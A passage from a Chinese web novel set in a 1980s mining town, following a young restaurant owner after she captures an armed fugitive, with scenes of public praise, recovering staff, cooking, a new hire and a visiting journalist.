“该,这些犯罪的就不得好死!我表嫂的侄子就是坐车回家的时候,被车匪捅了一刀,当时人就不行了,作孽啊,那孩子才刚满二十岁……” “好样的,真是巾帼不让须眉,对付罪犯就应该用最严酷的手段!照我说,都不该给他留一口气,当场杀了都不为过!” “话虽如此,但一个女孩子家下手这么狠,又是泼滚油又是捅刀子,是不是不太好啊……” “胡咧咧什么!你没看报纸上写的,那通缉犯随身带着枪,还冲着人群扫射。要不是小姑娘当机立断,照这家伙的习惯,饭店里连一个人都活不下来!” “哎,说起饭店,你们去过这个‘煤矿人家’吗?连抢过银行的通缉犯都要去抢的饭店,一定很好吃吧,要不要一起去搓一顿?” “报纸上不是说厨师和服务员都受伤了吗?就算你想去吃,这家店现在应该也不开业吧。” “报纸上写的是开在分矿的新店,一矿还有一家老店,听我在一矿的朋友说味道不错。” “那就走呗?” “走走走!” 一矿的煤矿人家店外挤满了来吃饭的人,上矿的路也被浩浩荡荡的自行车大军堵得水泄不通。 田润花焦头烂额地拦在店门口,不住地和新来的客人说: “对不住,店里的菜都用完了,您下次再来吧。” “没骗您,是真没有了,调料都快用完了。” “什么?您要现点现买?自带菜和调料?这……不好意思,我们店里没这规矩。” “您给我钱是什么意思?预订?不不不,我们暂时不接预订。” “等等,大爷先别走,您把钱拿上再走!” 田润花抓起钱追上去,头发花白的老大爷动作敏捷,几个闪现消失在人群中。 她找了一圈没找到人,无奈之下只好先返回店里,把钱单独收好,又进了厨房,找到忙得不可开交的冯解放。 “冯师傅,您看这怎么办?来吃饭的人实在太多了,劝都劝不走。” 冯解放擦了一把额头的汗,喘着气说:“你去把门关上,再挂个牌子,后面再来的人就不接待了。” 田润花应了一声,找了张纸写上“今日客满”四个字,挂在了大门上。 好不容易送走源源不断的新客,店内的老客又追着她问: “你们小老板呢?她怎么今天不在店里?” 田润花解释道:“分店那边需要处理的事多,小老板暂时顾不上老店这边。” 客人遗憾道:“哎呀,我特地带了孩子过来,就想让孩子见见咱们矿务局的英雄呢……今天不在,那你们老板什么时候来店里?” 这个问题今天被太多人提起,田润花无奈地说:“等她忙完了就会过来吧。” 客人咂咂嘴,感叹地说:“你们老板我之前也不是没见过,只知道小姑娘学习好,做饭也好,真是想不到,她还有活捉通缉犯的本事。” 被人们谈论的贺明珠此时正在公安局做笔录,把事情发生的全过程都告诉了公安同志。 当时贺明珠一锅滚油泼到男人身上,在他发疯举枪乱射时,扔下锅扑倒在地,枪声一停,她抬眼看到男人跌跌撞撞逃跑的背影,想都没想,立刻就追了上去。 男人痛到失去警觉,她远远缀在后面,跟着他来到水沟旁。 见男人一头扎进水里镇痛,她悄悄靠近,趁他不备,偷偷拿走他身边的步|枪。 但男人不愧是开国以来数得上的悍匪,竟然在重度烫伤的情况下,仍觉察到她的靠近。 徐和平和贺明军生死不明,贺明珠满心都是不能让他再继续杀人了,试图用石头砸晕他。 但男人的脑袋简直是铁铸的,被石头砸了好几下,居然还有余力反扑。 危急关头,贺明珠举**向他的后背。 男人被刀刺穿胸膛后,才终于停止攻击,扑倒在地上,深一下浅一下地倒吸气。 后来郝家村的人跟着狗找到了农田里的贺明珠,以及倒在地上不知死活的男人。 村人都被惊呆了,还是郝村长撑得住,让人把男人抬到路边,交给了到场的公安。 公安拿手电筒往男人脸上一照就惊了,虽然血肉模糊,但看脸型,看衣着,再看那杆明显军队制式的五六半。 这不是那个全国通缉的悍匪吗?! 前两天邻省公安厅发了协查函,说该通缉犯已逃到本地区,请乌城公安协助排查两省间的过往车辆和人员,并提供了男人的照片,以及当天的衣着打扮和随身携带的枪支型号。 这个悍匪可谓是举国闻名,抢银行,杀哨兵,造成无数死伤,至今未被抓获,仍在 不断犯案,给全国的公安都留下深深的屈辱和阴影。 如今,这个悍匪居然出现在乌城农村,还是以一副重伤垂死的姿态出现。 公安们又惊又喜。 但即使男人已经昏迷过去,他们还是谨慎地给他戴上了手铐和脚镣。 带队公安激动地问村民:“是哪位见义勇为的义士抓住了通缉犯?” 村民们不做声,集体转头看向人群边缘的一个弱不禁风的漂亮小姑娘。 带队公安:??? 带队公安左右看了两圈,但这里只有这个小姑娘。 他试探性地问:“义士?” 贺明珠坦然点头:“是我。” 带队公安惊叹:“啊!!!” 结束询问后,公安局的一位副局长亲自送贺明珠出来,还派车将她送回家。 临走前,他拍拍贺明珠的肩膀,说:“小姑娘,你做得很好,没让这名通缉犯伤害更多人。市里开会决定要对你进行表彰,鼓励更多的人见义勇为,与社会恶势力作斗争。” 贺明珠说:“我只是做了我应该做的事。我相信在当时的危急情况中,任何人都会做出和我一样的选择——那就是无论如何,绝对不能让他逃走。” 副局长和蔼地说:“这样一名罪行累累的通缉犯最后在乌城落网,你可是帮了我们公安的大忙啊。现在公安系统内对你充满了好奇心,大伙儿都想见一见你,看看是什么样的小姑娘才能毫发无伤地抓住这个流窜全国的悍匪。” 贺明珠笑眯眯地说:“想见我很容易啊,来我们家饭店吃饭就能见到,还附送一顿美味大餐。” 副局长被她逗得直笑,连连说:“好,我有空了就去趟一矿,在你们家饭店吃顿饭,看看到底是怎样的美食连悍匪都忍不住。” 贺明珠笑道:“说不定哪天我就在公安局门口开家新店,到时候您和局里的同志每天都能吃到,顺便还能再店里抓一抓通缉犯呢。” 一番话说得副局长和旁边的几位公安都笑了起来。 贺明珠坐着警车回了家,才进了家属区,路上到处都是和她打招呼的人。 “明珠,回来了啊!” “明珠,要不要来我家看电视?电视台重播血疑呢,我家还有冰棍,来吃冰棍看电视啊。” “明珠,我炖了锅鸽子汤,你带回去给你哥补一补。” “明珠……” “明珠……” 一路上,不管是认识的还是不认识的,人们都兴高采烈地和贺明珠打招呼,还有人跟在贺明珠身后,一路把她送到家门口。 贺明珠一夜之间成了矿务局的大明星,人人都想认识她,人人都想看看她长什么样。 也不是为了别的,主要是想看看这姑娘是不是长得虎背熊腰、胳膊上能跑马,一拳就能打得持枪悍匪找不着东南西北。 伪金刚芭比贺明珠顶着群众们热烈的目光,艰难地穿过家属区,回到了家。 等关上院门,贺明珠一转身,抬头就看到几个小屁孩爬到附近的树上,冲她嘿嘿地笑。 贺明珠好气又好笑,故意冲他们挥挥拳头。 “再不下来,小心我上树收拾你们!” 贺明珠名声在外,小屁孩们你推我挤,忙不迭一扭一扭地爬下了树。 屋里的齐家红听到声音迎了出来,子弟小学放暑假,她每周去学校值一天班,其他时间都在家里。 “明珠,公安以后还要你再去做笔录吗?” 贺明珠说:“应该不用了,副局长还说市里要表彰我。” 齐家红露出一个笑,理所当然地说:“你是见义勇为的英雄,抓住了全国通缉的抢劫犯,当然应该表彰你。我看不止是市里,就算是省里、中央也该表彰表彰你。” 贺明珠笑道:“是不是还要全国巡回演讲,号召全党全军全国各族人民学习啊?” 齐家红很认真地想了想,说:“这是当然的啊,就是太累了,还耽误你的学习……要不和政府商量商量,安排在暑假这段时间行不行?” 大嫂也太可爱了吧! 贺明珠忍俊不禁,摆摆手,走到大屋门口,深吸一口气,掩着鼻子拉开了屋门。 炕上躺着两只伤员,左边是贺明军,右边是徐和平。 贺明军是脑震荡,不算严重,就是在刚醒来的时候出现了短暂的逆行性失忆,忘记了晕倒前发生的事情。 当时吓得贺明珠还以为二哥也重生了,绕着圈子问他后世的事情,以此来判断他来自哪年哪月。 不过幸好,贺明军很快恢复了记忆,他没重生,只是单纯的脑震荡而已。 医生说他需要静养,加上脑震荡造成的恶心、眩晕和呕吐,他只能蔫蔫地躺在炕上等恢复。 徐和平就麻烦多了,他肩膀上被通缉犯用三棱刺刀开了个洞,失血过多,一度陷入休克状态。 幸好当时那个参加过民兵训练的饕餮懂一点战场急救,抽出皮带死死捆在徐和平的肩膀上,止住了出血。 郝家村的人闻声赶来,进了饭店就看到满地的血,还有躺在地上、人事不知的徐和平、贺明军以及郝翠兰。 郝村长见状,当机立断让村里的拖拉机手开着手扶拖拉机,送徐贺郝三人去镇上的卫生院、 走到半路时,去分矿求助的饕餮带着矿上的吉普车赶到了,将三人转移到吉普车上,一路风驰电掣,油门都快踩进了油箱。 也幸好这年头汽车保有量比较低,一路上没碰到其他车辆,更别提什么红灯堵车。 原本公交要走两小时的路程,吉普车只花了半小时不到,就将三个伤员送进了本地最先进的矿务局医院。 矿务局医院早已接到分矿打来的电话,医护人员严阵以待,推着手术床就把徐和平送进了手术室。 没有明显外伤的贺明军和郝翠兰则被送去拍X光,检查是否存在骨折。 幸运的是,两个人都没有骨折。 资历最老的医生诊断后,确诊贺明军是脑震荡,郝翠兰是软组织挫伤,并收入院进行治疗。 徐和平的手术也很顺利,主刀医生是从越战退下来的军医,擅长治疗三棱刺刀造成的开放性不规则伤口,如果是普通医生,还真不知道要怎么处理。 虽然处理过程有点简单粗暴,呃,或者说,相当的简单粗暴。 主刀医生在麻醉没生效时就一刀划开伤口,手伸进去捏住血管止血,疼得原本半昏迷的徐和平“嗷”地一嗓子就弹起来,被医护们七手八脚地按在了手术台上。 不过效果是好的,伤口被止住了血,被划得像破布似的肌肉也被一层层缝合起来。 除了皮肤上留下一道疤痕外,并不影响肩膀的正常活动。 伤员们伤愈后,郝翠兰和贺明军先后出院,分别回家修养;徐和平出院最晚,也是唯一一个无家可归的,被贺明珠捡回了家。 她把大屋腾出来,大哥和伤员们睡一间,自己则和齐家红一起住在小屋。 这下,大屋成了男生宿舍,小屋成了女生宿舍,泾渭分明。 贺小弟偷偷来找她撒娇:“姐,我能不能和你睡?” 贺明珠就问他:“为什么呀?小屋住的都是女生,你也要做女生吗?” 贺小弟包子般的小脸皱成了一团,可怜巴巴撅着小嘴。 “大不了就做女生!” 贺小弟委屈地说:“大哥二哥还有和平哥,他们三个晚上睡觉打呼噜,脚还臭!他们还喜欢拿胳膊腿压着我,我动都动不了。我不管了,我就要做女生!” 贺明珠喷笑,笑完了在小屋空地搭了个小床,爱护一下家里唯一的儿童。 当她拉开大屋的门时,下意识捂住了鼻子,站在门边,让室内外空气流通一会儿。 也难怪贺小弟不肯继续睡大屋,这屋里的男人味儿实在有些过于浓郁了些,呛得人一跟头。 等味道散得差不多了,贺明珠才走了进去。 徐和平躺在炕上,举起没受伤的那只胳膊,有气无力地嚷嚷: “小老板是你吧?我猜肯定是你,一般人不会进 门前还要通五分钟的风,我为店里流过血!我为老板负过伤!你不能这么对待伤员!” 贺明珠说:“伤员也不能不洗澡吧?” 徐和平厚着脸皮说:“医生说了,伤口结痂掉落前不能沾水,我这是听医生的话~” 贺明珠吐槽:“你是一侧肩膀受伤,又不是全身不能动,用湿毛巾擦洗一下很难吗?” 徐和平娇弱地来了一声:“啊,我头晕,失血过多,没有力气,站不起来……” 贺明珠:“……好,那我给你补补血,今天继续喝猪血大枣汤,吃炒菠菜和卤猪肝,用不了多久就能把你的血气都补满。” 徐和平沉吟:“能不能换道菜?猪血猪肝菠菜我都吃腻了,来点清爽的怎么样?” 贺明珠暴起,一指头敲他脑门上 “清爽你个头!” 贺明军在旁边听得直笑。 他现在脑子还是晕乎乎的,笑也不敢用力,生怕又抻到头上的哪根筋。 “行了,你就放过他,也放过我吧,这段时间的药膳吃得我俩都受不了,咱们能不能来点家常的?” 贺明国从外面进来,拧了拧手里的湿毛巾,粗暴地给两个伤员挨个擦了一把脸。 “伤还没好就惦记上点菜了,什么时候能自己下炕吃饭,什么时候再说吧!” 这段时间一直是他在照顾贺明军和徐和平,一矿领导体谅他家里出事,特意给他放了一周的假。 贺明国住进大屋,没白天没黑夜地照顾两个伤员,比下井挖煤还要累。 可听到贺明国的话,徐和平用没受伤那侧的肩膀发力,挣扎着从炕上爬起来,当场给大伙儿表演了一个下炕吃饭。 贺明军也小心翼翼地翻身,在尽量不大幅度晃动脑袋的前提下,动作缓慢地挪下了床。 贺明国天天给炕上的两个伤员端茶送饭,还要扶着人去上巷口公厕,干遍了老妈子的活儿。 如今却发现这俩家伙居然为了口吃的,现场给他表演一键痊愈。 “好啊你们,还敢骗我!” 贺明军与徐和平对视一眼,沉痛地说:“大哥,倒不是故意骗你,实在是猪肝吃多了受不了。小妹做的猪肝再好吃,也禁不住顿顿都吃啊……” 贺明珠疑惑:“还好吧,没有你说的那么夸张,也就是炒猪肝、卤猪肝、煎猪肝、炖猪肝、熘猪肝、猪肝汤……而已嘛。” 一串菜名报完,全家连狗在内,通通都大头朝下栽倒在地。 贺明国坚强地爬起来,说:“要不还是给他们吃点家常菜吧……” 俗话说得好,头伏的饺子二伏的面。 过了头伏,天气一日比一日炎热,正好来上一碗清爽而又滋味丰富的炸酱面。 自从开了饭店,贺明珠经常在给店里采购调料时,顺便也给家里备上一份,什么时候想吃都方便。 家里调料准备得充足,这炸酱面做起来就更精细。 贺明珠在锅里放入五花肉切成的肉丁细细煸炒,直至肉丁中水分被炒干,肥肉里的油也被煸出,只剩下一粒一粒的小肉粒。 接着倒入大豆酿的黄酱和面粉发酵的甜面酱,小火慢炸,油与酱相融合,每一颗肉丁都裹在浓厚的酱汁中,吃透了酱香,从寡淡无味变得满口醇香。 复合了两种酱的炸酱在醇香中透着鲜甜,不咸不淡,口感极佳。 夏天蔬果多,许大舅听闻贺家饭店遇袭,连夜赶车来探望,还送来好几筐的新鲜蔬菜,以及一对自家养的老母鸡,让外甥们补补身体。 老母鸡被贺明珠炖成了鸡汤,全家上阵,两顿就吃得干干净净。 蔬菜里有水当当的小萝卜,有顶花带刺的嫩黄瓜,以及胡萝卜、鲜毛豆、芹菜,还有自家发的豆芽,正好用来做炸酱面的菜码。 院中阴凉处摆上桌子,一碟碟的颜色鲜亮菜码放了一圈,最中间的是一小盆颜色棕亮浓香的炸酱。 面条是贺明珠手工抻的,半粗不细,抖干净了面粉,现吃现下锅,用长筷从沸腾的汤锅捞出来,一小团面乖乖盘在碗中。 贺明珠一手托着碗,一手舀了一小勺炸酱,又将桌上各色菜码夹了一遍,橘红的萝卜丝、嫩黄的黄瓜丝、青绿的芹菜丝以及银白的豆芽,看着就让人食欲大开。 她把拌好了的第一碗炸酱面递给了徐和平,他用没受伤的右手抓着筷子,拌匀了酱,迫不及待就往嘴里送。 唔,就是这个味儿! 炸酱醇厚中透着丝丝鲜甜,吃起来一点都不齁,面里点了几滴醋,一点醋香更衬托出酱的浓郁。 刚出锅的面有些烫口,可拌进凉丝丝的菜码后,吃起来熨帖多了,面条的韧劲,加上菜码的清脆,口感丰富极了。 这段时间吃的都是滋补疗养的病号餐,好吃是好吃,但味道太厚重,加上天气炎热,活动量不足,吃多了有点顶得慌,看见咸菜帮子都想啃两口。 当吃到这一碗炸酱面,一瞬间,这段时间内的肠胃郁气一扫而空,只觉两腋生风,清新的空气迎面扑来。 徐和平三口两口吃完一碗面,毫不客气把空碗往贺明珠方向一推。 “小老板,再来一碗!” 贺明珠似笑非笑看他一眼,端起碗,起身去厨房捞面。 贺明军用胳膊肘戳一戳徐和平,低声道:“喂,还小老板呢。” 徐和平反应过来,老脸一红,等贺明珠端着碗回来时,重又拌了一碗炸酱面,他接过碗,嗫喏半天,来了一句:“谢谢贺……嗯……谢谢明珠……” 贺明珠挑眉,潇洒道:“不谢。” 此时的郝家村。 一个推着辆破二八大杠的男青年来到了了分店门口。 他把车靠在墙边,拉了拉饭店的门,没拉开。 接着他又绕了饭店一圈,寻找其他可以进去的入口,也没找着。 男青年不肯放弃,扒在玻璃窗上,两只手挡住眼睛两侧的光线,使劲往屋子里瞧。 附近的土狗见来了个生人,观察片刻后,见他居然敢绕着鸡屁股圣地不走,一副居心不良的模样。 村狗们纷纷狂吠起来,隐隐呈包围状向男青年围了过来。 男青年一慌,拿起车上挂着的挎包,朝着狗群挥舞,试图吓退它们。 “走开,走开!” 但他的动作不但没能吓住这群身经百战的村狗,反而还激起了它们的凶性。 几个体格大的村狗跃跃欲试,俯低身体,时刻准备着扑上去给男青年一口。 危急时刻,附近住着的村人听到狗叫赶了过来。 “你是做甚的?来饭店想干啥?!” 男青年已经被狗追得站到了饭店门口的大石头上,狼狈不堪地说: “老乡,帮我把狗赶走,我是记者!” 第95章 第95章分店的新伙计 郝家村大队部。 男青年戴着眼镜,双手交握,有些紧张地坐在简陋的办公桌后,眼巴巴看着对面的人。 “老乡,你看了我的记者证,总该相信我是记者了吧?” 郝家村文化水平最高、初中毕业的大队会计放下手中的证件,狐疑地说: “你真是记者?那小本本上咋没有大红章?没有章咋证明你是记者?” 男青年急忙将盖章页翻出来,递给大队会计,说:“这个凹下去的钢印就是公章。” 大队会计举起记者证,对着光看了看,摇摇头说: “没有见过,哪家的章子这么怪,还钢印,你该不会是哄俺们的吧?” 男青年无奈地说:“要不然您给县委办公室拨个电话吧,他们总能证明我的身份,我就是从县里骑车过来的。” 大队会计怀疑地上下打量男青年,心想骗子胆子再大,也骗不过县委吧。 难道这个灰头土脸的小青年还真是报社记者?就是在报纸上写文章的文化人? 但话又说回来,哪个记者会骑辆破二八大杠就来村里采访? 都说地委书记小轿车,县委书记大吉普,公社书记运输车,大队书记拖拉机。 这小青年连拖拉机都没得坐,自己吭哧吭哧从县里踩了几十里路的自行车来郝家村,晒得比庄稼人还黑,衣服也是破破烂烂的,眼镜腿还断了一条,头发乱得像鸡窝,还不如村里郝大头在粮食局上班的儿子来得体面。 大队会计拿不定主意,揣着记者证出了门,留下一句“你在这等着”,临走前还随手锁上了门。 男青年目送大队会计匆匆走出了大队部,屋子里只剩他一人,不由得揉了揉肚子。 好饿…… 他出发前在从县委招待所吃了一碗面条,其余时间一粒米一口水都没吃,路远骑车,体力消耗大,这会儿又累又饿。 屋外几个村里的小孩扒着窗户围观这个外来的陌生人, 你推我搡,嬉笑打闹。 有小孩调皮,朝男青年砸了颗杏,嘭地从他身上弹落在地。 他也不生气,从地上捡起杏,在衣服上擦了擦,咬了一口。 嚯,真酸! 见男青年被杏酸得呲牙咧嘴,小孩子们哄地一声笑开。 “你真傻,杏还没熟,你咋就吃了呢?” 男青年笑着说:“我太饿了,小朋友,你能不能去给我舀一瓢水?” 那个拿杏砸他的小男孩眼睛一转,说:“不行,除非你告诉俺,你来俺们村是干啥的?” 男青年说:“我是记者,我来采访你们村口饭店的老板。” 小孩们七嘴八舌地说: “记者是啥?” “你傻啊,记者就是在报纸上写字的!” “有啥了不起,等俺长大,俺也当记者!” 乱糟糟的童声中,小男孩插了一句:“你来晚了,饭店早就关门了!” 男青年自言自语:“怪不得我看店里一个人也没有,桌椅板凳摆得乱糟糟的,地上还有血迹……” 他又问小男孩:“那你知道饭店什么时候开门吗?” 有个扎着冲天辫的小女孩抢先答道:“等翠兰姐病好了就开门!” 小男孩反驳道:“你说得不对!俺爹说了,这饭店招坏人,不吉利,以后都不开门了!” 小女孩喊道:“你才说得不对!翠兰姐说等她病好了就回去上班!” “你不对!” “你不对!” 童音灌耳,尖锐的童声吵得男青年耳膜疼,他下意识掏了掏耳朵,随即从窗户探出身,制止两个小孩的争吵。 “都别吵了,听我说!” 小男孩和小女孩同时看向男青年。 刚刚喊得太大声,嗓子有点劈叉,他缓了口气,说:“翠兰姐是谁?” 一矿煤矿人家。 后厨里,冯解放一手锅一手铲,忙得不可开交,前厅的点菜单子已经积成小山,他恨不能长出八只手,边切边炒边加炭边拉风箱,还能空出一只手撒调料。 正值夏天,厨房温度本来就高,这会儿更是热得像个大蒸笼。 又忙又热,偏偏还有人一直在他耳边嗡嗡个没完没了,吵得人心浮气躁。 “老冯,你说分矿的店还开不开了?老板不会要关店吧?那我怎么办,来一矿和你作伴吗?哎,分矿虽然远了点,但补贴也给得高,让我拿着和你一般高的工资,我还真有些不乐意……” 冯解放忍无可忍,转头对曹全安说:“你要不洗手过来帮忙,要不你就出去。” 曹全安嘟囔着:“我这不是心烦嘛,和你聊一聊也不行?” 他边说边把手洗了,套上店里多余的围裙,带上厨师帽,翻了翻点菜单子,说: “这几道菜你都做了吧?那我做荤菜吧……哎,说起来我想出道新菜,正准备让老板尝一尝,结果就碰上这倒霉事儿。也不知是该说我这个人运气好还是运气差,出事那天和二老板换完班,就赶公交回了矿务局,没碰上抢劫的。也得亏是二老板在,要不就我这老胳膊老腿的,哪打得过那通缉犯,让人一巴掌就拍扁了。你说说,这都什么运气啊?” 身旁的胖老头絮絮叨叨个没完,冯解放被折磨得生无可恋: “……做你的菜吧,哪儿那么多的话!” 好不容易安静了会儿,曹全安的声音再次幽幽响起。 “老板要是把分店关了,你说我能不能和她要点儿遣散费?” 冯解放:…… 下午的时候,贺明珠来了,还带着一个人。 田润花正在擦桌子扫地,见老板来了,惊喜道: “小老板,你怎么来了?我去叫冯师傅,对了,曹师傅今天也在店里。” 两位老师傅从厨房出来,见到贺明珠,两人态度各异。 冯解放笑着说:“老板,你最近怎么样?明军、和平的身体还好吗?” 曹全安则有些忐忑地说:“咱分矿的店还开吗?我这都一个礼拜没去上班了……” 贺明珠先是对冯解放说:“我还不错,我哥和徐和平都恢复得很好,他们在家里待不住,天天嚷嚷着要回店里上班,我让他们再修养修养,等身体彻底康复了再说。” 接着对曹全安说:“曹师傅您放心,分店肯定要继续开,目前人手不足才暂时关门,这不我已经找到了新服务员。” 说着话,她把人往前面一推。 田润花看清对方的脸,惊讶道:“哎哎哎,你不是那个来店里点扒肉的小伙子吗?还说什么只要肥不要瘦,最后被小老板打出去了。” 冯解放和曹全安没见过这人,听到田润花的话都好奇起来,纷纷看向来人。 小伙子苦着脸求饶:“对不起大姐,我已经知道错了,求您就别提这事儿了……” 贺明珠敲了下他脑袋:“该,叫你瞎逞小舅子威风。” 来的人正是齐小弟,大名齐家乐是也。 齐家乐一缩脖子,小声地说:“我那不是以前不懂事么……我现在都改了,绝对改好了……” 自从齐家出事后,齐家红与家里断绝往来,齐大哥齐大嫂被法院判处了一年劳改,齐家只剩齐老头齐老太、齐小弟,以及齐大哥的两个儿子。 家里老的老小的小,原本作为幼子被娇生惯养长大的齐小弟,也不得不扛起担子,担起顶门立户的责任。 齐家现在全部收入来源是齐老头退休金,全家的吃喝、老两口的医药费、小侄子的奶粉……柴米油盐酱醋茶,都靠这点微薄的退休金。 这钱当然是不够的,齐老头让齐老太去找齐家红要钱,齐老太要脸,不肯去,气得齐老头在家里摔了好几次碗。 家里实在没钱,不得已,齐老头腆着一张老脸,出去找门路给齐小弟联系工作。 但齐家的事在矿务局传遍了,人们都说齐家人的人品有问题,虎毒不食子,他们连自家人都要害。任凭齐老头找了多少熟人,都没人松口帮忙。 委婉点儿的就说:“现在没空缺,等以后有岗位了再说吧。” 直接点儿的就说:“这事儿我管不了,也不看看你们家都什么名声了……你找别人去吧。” 齐老头处处碰壁,齐小弟决定自己去找工作。 他才十七岁,只有初中文凭,没学历没经验,长得细皮嫩肉,招工的人一看他就直摆手。 等回了家,中午的饭又是窝窝头蘸咸菜。 齐老头的小酒没了,白面馒头也没了。他吃了两口窝窝头,毫无征兆,又把碗砸了。 齐老太见怪不怪,拿起扫帚打扫地上碎瓷片。 齐小弟麻木地往嘴里塞着窝窝头,虽然口感比不上两合面馒头,但至少能填饱肚子。 齐老头却夺下他手中的窝窝头,愤怒地指着齐小弟大骂: “都是你这个畜生干的好事!要不是你,你大哥大嫂不会去劳改,家里也不会被人砸了,更不会穷成现在这样!都是你的错!” 齐小弟一言不发,转身就出门。 身后齐老头又朝他砸了个碗。 “有本事你一辈子都别回这个家!” 齐小弟坐在路边掉眼泪,从天亮坐到天黑,当太阳再次升起时,有人踢了踢他的脚。 “喂,还能喘气吗?” 齐小弟仰头看去,迎着朝阳,贺明珠的脸模糊在晨光中。 “能喘气就跟我走。” 齐小弟哑着嗓子问:“跟你去哪?” 贺明珠轻佻地说:“卖了换钱。” 齐小弟二话不说就站起了身,闷闷地说:“那你卖得远点儿,越远越好。” 于是齐小弟就被贺明珠卖到了分矿。 曹全案摸着双下巴琢磨:“这小子长得细皮嫩肉的,他能干什么?” 贺明珠爽快道:“干什么都行,就交给你了,随便调教,不管是打杂还是打下手。不用顾忌我,煤矿人家不养皇亲国戚。” 曹全安嘿嘿一乐:“老板,这可是你说的,那我可就不客气了。” 齐家乐莫名感觉全 身一寒。 曹全安拍拍小伙子的肩膀,胖脸挤出一个和蔼的笑。 “以后咱爷俩就在分矿互帮互助了,我这人脾气直,你多担待。” 齐家乐有种不祥的预感,但还是努力笑着说:“曹师傅,您就把我当徒弟使唤,我绝无二话。要是我哪里做的不到位,还请您批评指正。” 曹全安乐道:“这小子好,我喜欢,上道!” 他对贺明珠说:“老板,有我这个厨子,再加上小齐这个服务员,店里的配置基本算齐了,我看也别等了,我俩今天就上矿,收拾收拾店里,明天正常开业。” 贺明珠颔首:“我和你们一起去。” 说走就走,一行人乘坐公交车去了分矿。 与此同时,郝家村大队部,大队书记,也就是郝村长,将记者证还给了男青年。 “王记者对不住啊,俺们这小村子也是第一次见着报纸上的记者,确实是认不出。” 男青年王东文将记者证放回上衣口袋,迫不及待地问:“郝书记,咱们村里有没有一名叫翠兰的姑娘?” 郝村长反问道:“你找她干啥?” 王东文指了指屋外玩耍的小孩子们,说:“小朋友告诉我,他们的翠兰姐在村口饭店上班,我想从她那儿了解一些饭店老板抓获通缉犯的事。” 郝村长松一口气,还以为这外地来的大记者找他闺女有啥要紧事呢。 “翠兰是俺闺女,她正在家呢。那天的事俺也闹不清楚,你跟俺去家里,让她给你讲讲。” 王东文高兴地跟着郝村长走了。 大队会计目送两人离开,暗暗嘀咕,这城里来的大记者就长德行?看着跟个老农民似的,一点也不体面。 要不是他亲自给县委办公室打的电话,县里的大主任说确实有个记者骑车去乡下了,并且描述了这个记者的相貌,还特别提及他的眼镜腿断了一条,种种特征都能和男青年对的上号,他这才找来郝村长,打开门锁,放他出来。 这年头真是怪了,大记者来他们这个小村子干什么? 王东文跟着郝村长到了家,见到了正在修养的郝翠兰。 听闻他是来采访的,郝翠兰热情将那天发生的事都告诉了王东文。 她特别提到了贺明珠,要不是她当机立断,一锅滚油泼过去,店里的人就要遭殃了。 郝村长补了一句:“得亏贺老板逮住了通缉犯,不然让这么个杀人犯在俺们村里藏着,俺们哪儿都不敢去,就怕哪天下地让人偷悄悄捅一刀子。” 王东文在笔记本上奋笔疾书,完完整整记下郝村长父女的话。 他想起小男孩的话,问道:“村里是怎么看待贺老板的?我听说有人认为饭店不吉利,要关门了。” 不待郝村长开口,郝翠兰急道:“他们都是瞎说的!俺们饭店好好的,哪不吉利了!” 她还说:“小老板和俺说了,店里人手不够才关门,等俺和徐和平伤好了就开门。老板还给俺发了一千块的补助,让俺安心养伤呢!” 郝村长咳了两声,示意郝翠兰别说这么大声。 一千块在农村可是大钱,许多农户一辈子也没攒下这么多的钱,而她一个小姑娘手上却有这样一笔巨款,让外头知道了招人眼。 他出门被人问起,只说老板给了五十块的营养费。 就这,不少人在背后嘀咕,说贺老板太实在了,不就是碰出点淤青,哪就值当这么多钱啊。 还说村长家不地道,受了一点伤就讹人家五十块,太欺负人了。 对于王东文的问题,郝村长说:“小部分农民思想还比较封建,但总体来说,俺们村还是很感激贺老板。有人之前见过通缉犯,说他看人的眼神邪性,瞅着就是想干坏事。还有人家里做好的馍馍被偷了,俺们猜是被那人偷的。幸好贺老板抓住了他,没让他跑了,要不然下一个被抢的就是俺们村的人了,说不定还会死人。” 王东文将郝村长的话都记在了本子上,打算回去以后和公安了解的案件情况相对照,核实一下信息真伪。 聊得差不多时,他问郝村长:“我听说通缉犯原本还想来村里偷鸡的,没偷着鸡才去偷了馍馍。说起来,咱们村怎么没养鸡?” 郝村长爽朗地笑了:“俺们村以前养鸡,自从贺老板来开饭店,俺们村的鸡就都被饭店来的客人吃光了!” 王东文有些惊讶,没想到一个小村子的饭店居然生意会这么好。 “既然饭店对鸡肉的需求量大,现在村里不打算继续养鸡吗?还是说有什么别的打算?” 郝村长说:“养,当然要养!俺们和贺老板都商量好了,合伙办一家养鸡场!贺老板出钱,俺们村出力,养鸡场的利润五五分成。” 意外发现了一个新的新闻切入点,王东文仔细地和郝村长了解关于合作办养鸡场的事。 郝村长却狡黠地不肯回答。 “不说了不说了,万一报纸上说俺们这是投机倒把,要割资本主义尾巴怎么办?王记者,你可千万不能把这件事写到报纸上啊!” 王东文笑道:“郝书记,现在已经改革开放了,没人再割资本主义尾巴,您就放心吧。” 郝村长却说:“谁知道上面政策会不会变?这些年俺瞧着,政策是一年一变,说不准,说不准啊。” 他反复向王东文强调不能在报纸上写养鸡场的事,不然他就不带王东文去村口饭店实地查看了。 郝村长手上有一把饭店大门的钥匙,是贺明珠留给他的,用来配合公安的现场取证。 王东文哭笑不得,无奈地答应了郝村长的要求。 天色渐晚,王东文还要骑车回县里招待所。 三人步行来到村口饭店,却意外看到饭店的门开着。 郝翠兰说:“难不成是小老板回来了?” 王东文已经激动地抢先走进了饭店。 店内正在清扫,倒伏的桌椅被扶正,地上的血迹被擦掉,连着一周没打扫而积下的灰尘也被清理得干干净净。 一个满头是灰的小伙子看到有人进店,有些生涩地说: “今天店里不营业,您请回吧,明天再来。” 听到声音,另一个胖乎乎的老头从厨房走出来。 “小齐,谁来了?” 王东文看看小伙子,再看看胖老头,犹豫不决地问:“你们谁是贺老板?” 第96章 第96章到底谁是贺老板 谁是贺老板? 王东文之前了解到的消息是郝家村的一家小饭店的老板抓住了通缉犯,至于这个饭店老板姓甚名谁,是男是女,他并不清楚。 王东文觉得,能够徒手抓住持枪通缉犯,大概饭店老板是个身高七尺、身强体壮的黝黑大汉。 鉴于饭店开在农村,说不准这个老板平时下地扛锄头,饭点进店掌大勺,脑袋大脖子粗,既是老板又是伙夫。 他带着这种先入为主的观念进了店,四下寻找对应的人。 王东文先看到打扫卫生的小伙子,觉得他身形单薄,眉眼间倒是有股机灵劲儿,但瞧着不像是能和通缉犯过招的;又看到 了胖老头,倒是符合脑袋大脖子粗的标准,可年纪太大,老胳膊老腿骨质疏松,让通缉犯一巴掌就拍到墙上了。 这俩都不太像传说中的贺老板啊…… 